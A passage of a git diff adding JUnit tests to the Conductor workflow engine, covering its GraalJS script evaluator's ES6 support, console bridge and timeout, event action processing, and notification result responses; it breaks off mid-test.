+ * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.*; + +import org.junit.Test; + +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.execution.evaluators.ConsoleBridge; + +import static org.junit.Assert.*; + +public class TestGraalJSFeatures { + + @Test + public void testES6ConstLet() { + Map input = new HashMap<>(); + input.put("value", 42); + + String script = + """ + (function() { + const x = $.value; + let y = x * 2; + return y; + })()"""; + + Object result = ScriptEvaluator.eval(script, input); + assertEquals(84, ((Number) result).intValue()); + } + + @Test + public void testArrowFunctions() { + Map input = new HashMap<>(); + List numbers = Arrays.asList(1, 2, 3, 4, 5); + input.put("numbers", numbers); + + String script = "$.numbers.map(x => x * 2)"; + Object result = ScriptEvaluator.eval(script, input); + + assertTrue(result instanceof List); + @SuppressWarnings("unchecked") + List resultList = (List) result; + assertEquals(5, resultList.size()); + assertEquals(2, ((Number) resultList.get(0)).intValue()); + assertEquals(10, ((Number) resultList.get(4)).intValue()); + } + + @Test + public void testTemplateLiterals() { + Map input = new HashMap<>(); + input.put("name", "Conductor"); + input.put("version", "3.0"); + + String script = "`${$.name} v${$.version}`"; + Object result = ScriptEvaluator.eval(script, input); + + assertEquals("Conductor v3.0", result); + } + + @Test + public void testDestructuring() { + Map input = new HashMap<>(); + Map user = new HashMap<>(); + user.put("name", "Alice"); + user.put("age", 30); + input.put("user", user); + + String script = + """ + (function() { + const { name, age } = $.user; + return name + ' is ' + age; + })()"""; + + Object result = ScriptEvaluator.eval(script, input); + assertEquals("Alice is 30", result); + } + + @Test + public void testSpreadOperator() { + Map input = new HashMap<>(); + List arr1 = Arrays.asList(1, 2, 3); + List arr2 = Arrays.asList(4, 5, 6); + input.put("arr1", arr1); + input.put("arr2", arr2); + + String script = "[...$.arr1, ...$.arr2]"; + Object result = ScriptEvaluator.eval(script, input); + + assertTrue(result instanceof List); + @SuppressWarnings("unchecked") + List resultList = (List) result; + assertEquals(6, resultList.size()); + } + + @Test + public void testPromiseSupport() { + Map input = new HashMap<>(); + input.put("value", 100); + + // GraalJS supports Promise + String script = + """ + (function() { + return Promise.resolve($.value).then(x => x * 2); + })()"""; + + Object result = ScriptEvaluator.eval(script, input); + // The promise object itself is returned, not the resolved value + // since we're not using async/await + assertNotNull(result); + } + + @Test + public void testComplexObjectManipulation() { + Map input = new HashMap<>(); + Map workflow = new HashMap<>(); + workflow.put("name", "test-workflow"); + workflow.put("version", 1); + + List> tasks = new ArrayList<>(); + Map task1 = new HashMap<>(); + task1.put("name", "task1"); + task1.put("status", "COMPLETED"); + tasks.add(task1); + + Map task2 = new HashMap<>(); + task2.put("name", "task2"); + task2.put("status", "IN_PROGRESS"); + tasks.add(task2); + + workflow.put("tasks", tasks); + input.put("workflow", workflow); + + String script = + """ + $.workflow.tasks + .filter(t => t.status === 'COMPLETED') + .map(t => t.name) + .join(',')"""; + + Object result = ScriptEvaluator.eval(script, input); + assertEquals("task1", result); + } + + @Test(expected = NonTransientException.class) + public void testTimeoutProtection() { + Map input = new HashMap<>(); + + // This should timeout after 4 seconds (default) + String script = "while(true) {}"; + + ScriptEvaluator.eval(script, input); + } + + @Test + public void testConsoleBridge() { + Map input = new HashMap<>(); + input.put("message", "Hello from GraalJS"); + + ConsoleBridge console = new ConsoleBridge("test-task-id"); + + String script = + """ + (function() { + console.log('Starting execution'); + console.info($.message); + console.error('This is an error'); + return $.message; + })() + """; + + Object result = ScriptEvaluator.eval(script, input, console); + + assertEquals("Hello from GraalJS", result); + assertEquals(3, console.logs().size()); + assertTrue(console.logs().get(0).getLog().contains("[Log]")); + assertTrue(console.logs().get(1).getLog().contains("[Info]")); + assertTrue(console.logs().get(2).getLog().contains("[Error]")); + } + + @Test + public void testNullAndUndefinedHandling() { + Map input = new HashMap<>(); + input.put("nullValue", null); + + String script1 = "$.nullValue === null"; + assertTrue((Boolean) ScriptEvaluator.eval(script1, input)); + + String script2 = "$.undefinedValue === undefined"; + assertTrue((Boolean) ScriptEvaluator.eval(script2, input)); + + String script3 = "$.nullValue ?? 'default'"; + assertEquals("default", ScriptEvaluator.eval(script3, input)); + } + + @Test + public void testArrayMethods() { + Map input = new HashMap<>(); + List numbers = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10); + input.put("numbers", numbers); + + // Test filter + reduce + String script = "$.numbers.filter(n => n % 2 === 0).reduce((a, b) => a + b, 0)"; + Object result = ScriptEvaluator.eval(script, input); + assertEquals(30, ((Number) result).intValue()); // 2+4+6+8+10 = 30 + + // Test some/every + String script2 = "$.numbers.some(n => n > 5)"; + assertTrue((Boolean) ScriptEvaluator.eval(script2, input)); + + String script3 = "$.numbers.every(n => n > 0)"; + assertTrue((Boolean) ScriptEvaluator.eval(script3, input)); + } + + @Test + public void testObjectMethods() { + Map input = new HashMap<>(); + Map obj = new HashMap<>(); + obj.put("a", 1); + obj.put("b", 2); + obj.put("c", 3); + input.put("obj", obj); + + // Test that we can access object properties + String script1 = "$.obj.a + $.obj.b + $.obj.c"; + Object result1 = ScriptEvaluator.eval(script1, input); + assertEquals(6, ((Number) result1).intValue()); + + // Test Object.keys works on JS objects we create + String script2 = + """ + (function() { + const obj = { a: 1, b: 2, c: 3 }; + return Object.keys(obj).length; + })() + """; + Object result2 = ScriptEvaluator.eval(script2, input); + assertEquals(3, ((Number) result2).intValue()); + } + + @Test + public void testStringMethods() { + Map input = new HashMap<>(); + input.put("text", "hello world"); + + String script1 = "$.text.toUpperCase()"; + assertEquals("HELLO WORLD", ScriptEvaluator.eval(script1, input)); + + String script2 = "$.text.split(' ').reverse().join(' ')"; + assertEquals("world hello", ScriptEvaluator.eval(script2, input)); + + String script3 = "$.text.includes('world')"; + assertTrue((Boolean) ScriptEvaluator.eval(script3, input)); + + String script4 = "$.text.startsWith('hello')"; + assertTrue((Boolean) ScriptEvaluator.eval(script4, input)); + } + + @Test + public void testMathOperations() { + Map input = new HashMap<>(); + input.put("value", 16); + + String script1 = "Math.sqrt($.value)"; + Object result1 = ScriptEvaluator.eval(script1, input); + assertEquals(4.0, ((Number) result1).doubleValue(), 0.001); + + String script2 = "Math.pow($.value, 2)"; + Object result2 = ScriptEvaluator.eval(script2, input); + assertEquals(256.0, ((Number) result2).doubleValue(), 0.001); + + String script3 = "Math.max(1, $.value, 5)"; + Object result3 = ScriptEvaluator.eval(script3, input); + assertEquals(16, ((Number) result3).intValue()); + } + + @Test + public void testNestedObjectAccess() { + Map input = new HashMap<>(); + Map level1 = new HashMap<>(); + Map level2 = new HashMap<>(); + Map level3 = new HashMap<>(); + + level3.put("value", "deep"); + level2.put("level3", level3); + level1.put("level2", level2); + input.put("level1", level1); + + String script = "$.level1.level2.level3.value"; + assertEquals("deep", ScriptEvaluator.eval(script, input)); + + // Test optional chaining (ES2020 feature) + String script2 = "$.level1?.level2?.level3?.value"; + assertEquals("deep", ScriptEvaluator.eval(script2, input)); + + String script3 = "$.level1?.missing?.value ?? 'not found'"; + assertEquals("not found", ScriptEvaluator.eval(script3, input)); + } + + @Test + public void testJSONOperations() { + Map input = new HashMap<>(); + input.put("name", "test"); + input.put("count", 42); + + // Test that we can access data + String script1 = "$.name"; + assertEquals("test", ScriptEvaluator.eval(script1, input)); + + // Test JSON operations with JS objects + String script2 = + """ + (function() { + const obj = { name: $.name, count: $.count }; + const json = JSON.stringify(obj); + const parsed = JSON.parse(json); + return parsed.count; + })() + """; + Object result2 = ScriptEvaluator.eval(script2, input); + assertEquals(42, ((Number) result2).intValue()); + + // Test JSON.parse + String script3 = "JSON.parse('{\"value\":123}').value"; + Object result3 = ScriptEvaluator.eval(script3, input); + assertEquals(123, ((Number) result3).intValue()); + } + + @Test + public void testContextPooling() { + // Test that context pooling can be enabled and works correctly + // Note: Context pooling is controlled by environment variables + // This test verifies the code paths work with pooling disabled (default) + Map input = new HashMap<>(); + input.put("value", 42); + + // Multiple evaluations should work correctly without pooling + for (int i = 0; i < 5; i++) { + String script = "$.value * " + (i + 1); + Object result = ScriptEvaluator.eval(script, input); + assertEquals(42 * (i + 1), ((Number) result).intValue()); + } + } + + @Test + public void testScriptEvaluatorInitialization() { + // Test that ScriptEvaluator initializes properly with defaults + // This verifies the self-initializing behavior + Map input = new HashMap<>(); + input.put("test", "value"); + + // First evaluation should trigger initialization + String script = "$.test"; + Object result = ScriptEvaluator.eval(script, input); + assertEquals("value", result); + + // Subsequent evaluations should use the initialized state + result = ScriptEvaluator.eval(script, input); + assertEquals("value", result); + } + + @Test + public void testDeepCopyBehavior() { + // Test that ScriptEvaluator works correctly with complex nested objects + // Note: Deep copy protection is implemented in JavascriptEvaluator layer + // This test verifies ScriptEvaluator can handle nested structures + Map input = new HashMap<>(); + Map nested = new HashMap<>(); + nested.put("original", "value"); + input.put("data", nested); + + // Script that accesses nested data + String script = + """ + (function() { + return $.data.original + ' modified'; + })() + """; + + Object result = ScriptEvaluator.eval(script, input); + assertEquals("value modified", result); + + // Original input should still have its data intact + assertEquals("value", nested.get("original")); + } + + @Test + public void testMultipleScriptExecutions() { + // Test that multiple scripts can execute concurrently without interference + Map input1 = new HashMap<>(); + input1.put("value", 10); + + Map input2 = new HashMap<>(); + input2.put("value", 20); + + String script1 = "$.value * 2"; + String script2 = "$.value * 3"; + + Object result1 = ScriptEvaluator.eval(script1, input1); + Object result2 = ScriptEvaluator.eval(script2, input2); + + assertEquals(20, ((Number) result1).intValue()); + assertEquals(60, ((Number) result2).intValue()); + } + + @Test + public void testErrorMessageWithLineNumber() { + // Test that error messages include line number information + Map input = new HashMap<>(); + + String script = + """ + (function() { + const x = 1; + const y = 2; + throw new Error('Test error on line 4'); + })() + """; + + try { + ScriptEvaluator.eval(script, input); + fail("Should have thrown TerminateWorkflowException"); + } catch (Exception e) { + // Error message should contain line information + assertTrue( + "Error message should contain 'line'", + e.getMessage().toLowerCase().contains("line") + || e.getCause() != null + && e.getCause().getMessage().toLowerCase().contains("line")); + } + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/events/TestScriptEval.java b/core/src/test/java/com/netflix/conductor/core/events/TestScriptEval.java new file mode 100644 index 0000000..2d37ac0 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/events/TestScriptEval.java @@ -0,0 +1,90 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; + +import static org.junit.Assert.*; + +public class TestScriptEval { + + @Test + public void testScript() throws Exception { + Map payload = new HashMap<>(); + Map app = new HashMap<>(); + app.put("name", "conductor"); + app.put("version", 2.0); + app.put("license", "Apache 2.0"); + + payload.put("app", app); + payload.put("author", "Netflix"); + payload.put("oss", true); + + String script1 = "$.app.name == 'conductor'"; // true + String script2 = "$.version > 3"; // false + String script3 = "$.oss"; // true + String script4 = "$.author == 'me'"; // false + + assertTrue(ScriptEvaluator.evalBool(script1, payload)); + assertFalse(ScriptEvaluator.evalBool(script2, payload)); + assertTrue(ScriptEvaluator.evalBool(script3, payload)); + assertFalse(ScriptEvaluator.evalBool(script4, payload)); + } + + @Test + public void testES6Support() throws Exception { + Map payload = new HashMap<>(); + Map app = new HashMap<>(); + app.put("name", "conductor"); + app.put("version", 2.0); + app.put("license", "Apache 2.0"); + + payload.put("app", app); + payload.put("author", "Netflix"); + payload.put("oss", true); + + // GraalJS supports ES6 by default, no need for environment variable + String script1 = + """ + (function(){\s + const variable = 1; // const support => es6\s + return $.app.name == 'conductor';})();"""; // true + + assertTrue(ScriptEvaluator.evalBool(script1, payload)); + } + + @Test + public void testArrayAndObjectHandling() throws Exception { + Map payload = new HashMap<>(); + payload.put("numbers", new int[] {1, 2, 3, 4, 5}); + + String script = "$.numbers.length > 3"; + assertTrue(ScriptEvaluator.evalBool(script, payload)); + + String sumScript = "$.numbers.reduce((a, b) => a + b, 0)"; + Object result = ScriptEvaluator.eval(sumScript, payload); + assertEquals(15, ((Number) result).intValue()); + } + + @Test + public void testNullHandling() throws Exception { + Map payload = new HashMap<>(); + payload.put("value", null); + + String script = "$.value == null"; + assertTrue(ScriptEvaluator.evalBool(script, payload)); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/events/TestSimpleActionProcessor.java b/core/src/test/java/com/netflix/conductor/core/events/TestSimpleActionProcessor.java new file mode 100644 index 0000000..9fbaa1e --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/events/TestSimpleActionProcessor.java @@ -0,0 +1,369 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.ArgumentCaptor; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.events.EventHandler.Action; +import com.netflix.conductor.common.metadata.events.EventHandler.Action.Type; +import com.netflix.conductor.common.metadata.events.EventHandler.StartWorkflow; +import com.netflix.conductor.common.metadata.events.EventHandler.TaskDetails; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskResult.Status; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.execution.StartWorkflowInput; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.JsonUtils; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class TestSimpleActionProcessor { + + private WorkflowExecutor workflowExecutor; + private ExternalPayloadStorageUtils externalPayloadStorageUtils; + private SimpleActionProcessor actionProcessor; + + @Autowired private ObjectMapper objectMapper; + + @Before + public void setup() { + externalPayloadStorageUtils = mock(ExternalPayloadStorageUtils.class); + + workflowExecutor = mock(WorkflowExecutor.class); + + actionProcessor = + new SimpleActionProcessor( + workflowExecutor, + new ParametersUtils(objectMapper), + new JsonUtils(objectMapper)); + } + + @SuppressWarnings({"unchecked", "rawtypes"}) + @Test + public void testStartWorkflow_correlationId() throws Exception { + StartWorkflow startWorkflow = new StartWorkflow(); + startWorkflow.setName("testWorkflow"); + startWorkflow.getInput().put("testInput", "${testId}"); + startWorkflow.setCorrelationId("${correlationId}"); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "dev"); + startWorkflow.setTaskToDomain(taskToDomain); + + Action action = new Action(); + action.setAction(Type.start_workflow); + action.setStart_workflow(startWorkflow); + + Object payload = + objectMapper.readValue( + "{\"correlationId\":\"test-id\", \"testId\":\"test_1\"}", Object.class); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testWorkflow"); + workflowDef.setVersion(1); + + when(workflowExecutor.startWorkflow(any())).thenReturn("workflow_1"); + + Map output = + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + assertNotNull(output); + assertEquals("workflow_1", output.get("workflowId")); + + ArgumentCaptor startWorkflowInputArgumentCaptor = + ArgumentCaptor.forClass(StartWorkflowInput.class); + + verify(workflowExecutor).startWorkflow(startWorkflowInputArgumentCaptor.capture()); + StartWorkflowInput capturedValue = startWorkflowInputArgumentCaptor.getValue(); + + assertEquals("test_1", capturedValue.getWorkflowInput().get("testInput")); + assertEquals("test-id", capturedValue.getCorrelationId()); + assertEquals( + "testMessage", capturedValue.getWorkflowInput().get("conductor.event.messageId")); + assertEquals("testEvent", capturedValue.getWorkflowInput().get("conductor.event.name")); + assertEquals(taskToDomain, capturedValue.getTaskToDomain()); + } + + @Test + public void testStartWorkflow_taskDomain() throws Exception { + StartWorkflow startWorkflow = new StartWorkflow(); + startWorkflow.setName("testWorkflow"); + startWorkflow.getInput().put("testInput", "${testId}"); + + Action action = new Action(); + action.setAction(Type.start_workflow); + action.setStart_workflow(startWorkflow); + + Object payload = + objectMapper.readValue( + "{ \"testId\": \"test_1\", \"taskToDomain\":{\"testTask\":\"testDomain\"} }", + Object.class); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("testTask", "testDomain"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testWorkflow"); + workflowDef.setVersion(1); + + when(workflowExecutor.startWorkflow(any())).thenReturn("workflow_1"); + + Map output = + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + assertNotNull(output); + assertEquals("workflow_1", output.get("workflowId")); + + ArgumentCaptor startWorkflowInputArgumentCaptor = + ArgumentCaptor.forClass(StartWorkflowInput.class); + + verify(workflowExecutor).startWorkflow(startWorkflowInputArgumentCaptor.capture()); + StartWorkflowInput capturedValue = startWorkflowInputArgumentCaptor.getValue(); + + assertEquals("test_1", capturedValue.getWorkflowInput().get("testInput")); + assertEquals(taskToDomain, capturedValue.getTaskToDomain()); + assertEquals( + "testMessage", capturedValue.getWorkflowInput().get("conductor.event.messageId")); + assertEquals("testEvent", capturedValue.getWorkflowInput().get("conductor.event.name")); + } + + @SuppressWarnings({"unchecked", "rawtypes"}) + @Test + public void testStartWorkflow() throws Exception { + StartWorkflow startWorkflow = new StartWorkflow(); + startWorkflow.setName("testWorkflow"); + startWorkflow.getInput().put("testInput", "${testId}"); + + Map taskToDomain = new HashMap<>(); + taskToDomain.put("*", "dev"); + startWorkflow.setTaskToDomain(taskToDomain); + + Action action = new Action(); + action.setAction(Type.start_workflow); + action.setStart_workflow(startWorkflow); + + Object payload = objectMapper.readValue("{\"testId\":\"test_1\"}", Object.class); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("testWorkflow"); + workflowDef.setVersion(1); + + when(workflowExecutor.startWorkflow(any())).thenReturn("workflow_1"); + + Map output = + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + assertNotNull(output); + assertEquals("workflow_1", output.get("workflowId")); + + ArgumentCaptor startWorkflowInputArgumentCaptor = + ArgumentCaptor.forClass(StartWorkflowInput.class); + + verify(workflowExecutor).startWorkflow(startWorkflowInputArgumentCaptor.capture()); + StartWorkflowInput capturedArgument = startWorkflowInputArgumentCaptor.getValue(); + assertEquals("test_1", capturedArgument.getWorkflowInput().get("testInput")); + assertNull(capturedArgument.getCorrelationId()); + assertEquals( + "testMessage", + capturedArgument.getWorkflowInput().get("conductor.event.messageId")); + assertEquals("testEvent", capturedArgument.getWorkflowInput().get("conductor.event.name")); + assertEquals(taskToDomain, capturedArgument.getTaskToDomain()); + } + + @Test + public void testCompleteTask() throws Exception { + TaskDetails taskDetails = new TaskDetails(); + taskDetails.setWorkflowId("${workflowId}"); + taskDetails.setTaskRefName("testTask"); + taskDetails.getOutput().put("someNEKey", "${Message.someNEKey}"); + taskDetails.getOutput().put("someKey", "${Message.someKey}"); + taskDetails.getOutput().put("someNullKey", "${Message.someNullKey}"); + + Action action = new Action(); + action.setAction(Type.complete_task); + action.setComplete_task(taskDetails); + + String payloadJson = + "{\"workflowId\":\"workflow_1\",\"Message\":{\"someKey\":\"someData\",\"someNullKey\":null}}"; + Object payload = objectMapper.readValue(payloadJson, Object.class); + + TaskModel task = new TaskModel(); + task.setReferenceTaskName("testTask"); + WorkflowModel workflow = new WorkflowModel(); + workflow.getTasks().add(task); + + when(workflowExecutor.getWorkflow(eq("workflow_1"), anyBoolean())).thenReturn(workflow); + doNothing().when(externalPayloadStorageUtils).verifyAndUpload(any(), any()); + + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskResult.class); + verify(workflowExecutor).updateTask(argumentCaptor.capture()); + assertEquals(Status.COMPLETED, argumentCaptor.getValue().getStatus()); + assertEquals( + "testMessage", + argumentCaptor.getValue().getOutputData().get("conductor.event.messageId")); + assertEquals( + "testEvent", argumentCaptor.getValue().getOutputData().get("conductor.event.name")); + assertEquals("workflow_1", argumentCaptor.getValue().getOutputData().get("workflowId")); + assertEquals("testTask", argumentCaptor.getValue().getOutputData().get("taskRefName")); + assertEquals("someData", argumentCaptor.getValue().getOutputData().get("someKey")); + // Assert values not in message are evaluated to null + assertTrue("testTask", argumentCaptor.getValue().getOutputData().containsKey("someNEKey")); + // Assert null values from message are kept + assertTrue( + "testTask", argumentCaptor.getValue().getOutputData().containsKey("someNullKey")); + assertNull("testTask", argumentCaptor.getValue().getOutputData().get("someNullKey")); + } + + @Test + public void testCompleteLoopOverTask() throws Exception { + TaskDetails taskDetails = new TaskDetails(); + taskDetails.setWorkflowId("${workflowId}"); + taskDetails.setTaskRefName("testTask"); + taskDetails.getOutput().put("someNEKey", "${Message.someNEKey}"); + taskDetails.getOutput().put("someKey", "${Message.someKey}"); + taskDetails.getOutput().put("someNullKey", "${Message.someNullKey}"); + + Action action = new Action(); + action.setAction(Type.complete_task); + action.setComplete_task(taskDetails); + + String payloadJson = + "{\"workflowId\":\"workflow_1\", \"taskRefName\":\"testTask\", \"Message\":{\"someKey\":\"someData\",\"someNullKey\":null}}"; + Object payload = objectMapper.readValue(payloadJson, Object.class); + + TaskModel task = new TaskModel(); + task.setIteration(1); + task.setReferenceTaskName("testTask__1"); + WorkflowModel workflow = new WorkflowModel(); + workflow.getTasks().add(task); + + when(workflowExecutor.getWorkflow(eq("workflow_1"), anyBoolean())).thenReturn(workflow); + doNothing().when(externalPayloadStorageUtils).verifyAndUpload(any(), any()); + + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskResult.class); + verify(workflowExecutor).updateTask(argumentCaptor.capture()); + assertEquals(Status.COMPLETED, argumentCaptor.getValue().getStatus()); + assertEquals( + "testMessage", + argumentCaptor.getValue().getOutputData().get("conductor.event.messageId")); + assertEquals( + "testEvent", argumentCaptor.getValue().getOutputData().get("conductor.event.name")); + assertEquals("workflow_1", argumentCaptor.getValue().getOutputData().get("workflowId")); + assertEquals("testTask", argumentCaptor.getValue().getOutputData().get("taskRefName")); + assertEquals("someData", argumentCaptor.getValue().getOutputData().get("someKey")); + // Assert values not in message are evaluated to null + assertTrue("testTask", argumentCaptor.getValue().getOutputData().containsKey("someNEKey")); + // Assert null values from message are kept + assertTrue( + "testTask", argumentCaptor.getValue().getOutputData().containsKey("someNullKey")); + assertNull("testTask", argumentCaptor.getValue().getOutputData().get("someNullKey")); + } + + @Test + public void testCompleteTaskByTaskId() throws Exception { + TaskDetails taskDetails = new TaskDetails(); + taskDetails.setWorkflowId("${workflowId}"); + taskDetails.setTaskId("${taskId}"); + + Action action = new Action(); + action.setAction(Type.complete_task); + action.setComplete_task(taskDetails); + + Object payload = + objectMapper.readValue( + "{\"workflowId\":\"workflow_1\", \"taskId\":\"task_1\"}", Object.class); + + TaskModel task = new TaskModel(); + task.setTaskId("task_1"); + task.setReferenceTaskName("testTask"); + + when(workflowExecutor.getTask(eq("task_1"))).thenReturn(task); + doNothing().when(externalPayloadStorageUtils).verifyAndUpload(any(), any()); + + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskResult.class); + verify(workflowExecutor).updateTask(argumentCaptor.capture()); + assertEquals(Status.COMPLETED, argumentCaptor.getValue().getStatus()); + assertEquals( + "testMessage", + argumentCaptor.getValue().getOutputData().get("conductor.event.messageId")); + assertEquals( + "testEvent", argumentCaptor.getValue().getOutputData().get("conductor.event.name")); + assertEquals("workflow_1", argumentCaptor.getValue().getOutputData().get("workflowId")); + assertEquals("task_1", argumentCaptor.getValue().getOutputData().get("taskId")); + } + + @Test + public void testFailTaskSetsReasonForIncompletion() throws Exception { + TaskDetails taskDetails = new TaskDetails(); + taskDetails.setTaskId("${taskId}"); + taskDetails.setReasonForIncompletion("${error}"); + taskDetails.getOutput().put("actuatorError", "${error}"); + + Action action = new Action(); + action.setAction(Type.fail_task); + action.setFail_task(taskDetails); + + Object payload = + objectMapper.readValue( + "{\"taskId\":\"task_1\", \"error\":\"Actuator rejected request\"}", + Object.class); + + TaskModel task = new TaskModel(); + task.setTaskId("task_1"); + task.setReferenceTaskName("testTask"); + + when(workflowExecutor.getTask(eq("task_1"))).thenReturn(task); + + actionProcessor.execute(action, payload, "testEvent", "testMessage"); + + ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(TaskResult.class); + verify(workflowExecutor).updateTask(argumentCaptor.capture()); + assertEquals(Status.FAILED, argumentCaptor.getValue().getStatus()); + assertEquals( + "Actuator rejected request", argumentCaptor.getValue().getReasonForIncompletion()); + assertEquals( + "Actuator rejected request", + argumentCaptor.getValue().getOutputData().get("actuatorError")); + assertEquals( + "testMessage", + argumentCaptor.getValue().getOutputData().get("conductor.event.messageId")); + assertEquals( + "testEvent", argumentCaptor.getValue().getOutputData().get("conductor.event.name")); + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/NotificationResultTest.java b/core/src/test/java/com/netflix/conductor/core/execution/NotificationResultTest.java new file mode 100644 index 0000000..2cb0242 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/NotificationResultTest.java @@ -0,0 +1,470 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import org.conductoross.conductor.model.SignalResponse; +import org.conductoross.conductor.model.TaskRun; +import org.conductoross.conductor.model.WorkflowRun; +import org.conductoross.conductor.model.WorkflowSignalReturnStrategy; +import org.junit.Before; +import org.junit.Test; + +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +public class NotificationResultTest { + + private WorkflowModel targetWorkflow; + private WorkflowModel blockingWorkflow; + private TaskModel blockingTask; + private String requestId; + + @Before + public void setUp() { + requestId = "req123"; + + // Create target workflow + targetWorkflow = createWorkflow("workflow123", WorkflowModel.Status.RUNNING); + + // Create blocking workflow (could be a sub-workflow) + blockingWorkflow = createWorkflow("blockingWorkflow456", WorkflowModel.Status.RUNNING); + + // Create a blocking task + blockingTask = createTask("blockingTask1", "WAIT", TaskModel.Status.IN_PROGRESS); + } + + @Test + public void testToResponse_EmptyBlockingTasks_TargetWorkflowStrategy() { + // Given + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(new ArrayList<>()) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getWorkflowId()); + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getTargetWorkflowId()); + assertEquals(requestId, workflowRun.getRequestId()); + assertEquals(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, workflowRun.getResponseType()); + } + + @Test + public void testToResponse_EmptyBlockingTasks_BlockingWorkflowStrategy() { + // Given + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(new ArrayList<>()) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_WORKFLOW, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getWorkflowId()); + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getTargetWorkflowId()); + } + + @Test + public void testToResponse_EmptyBlockingTasks_BlockingTaskStrategy() { + // Given + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + 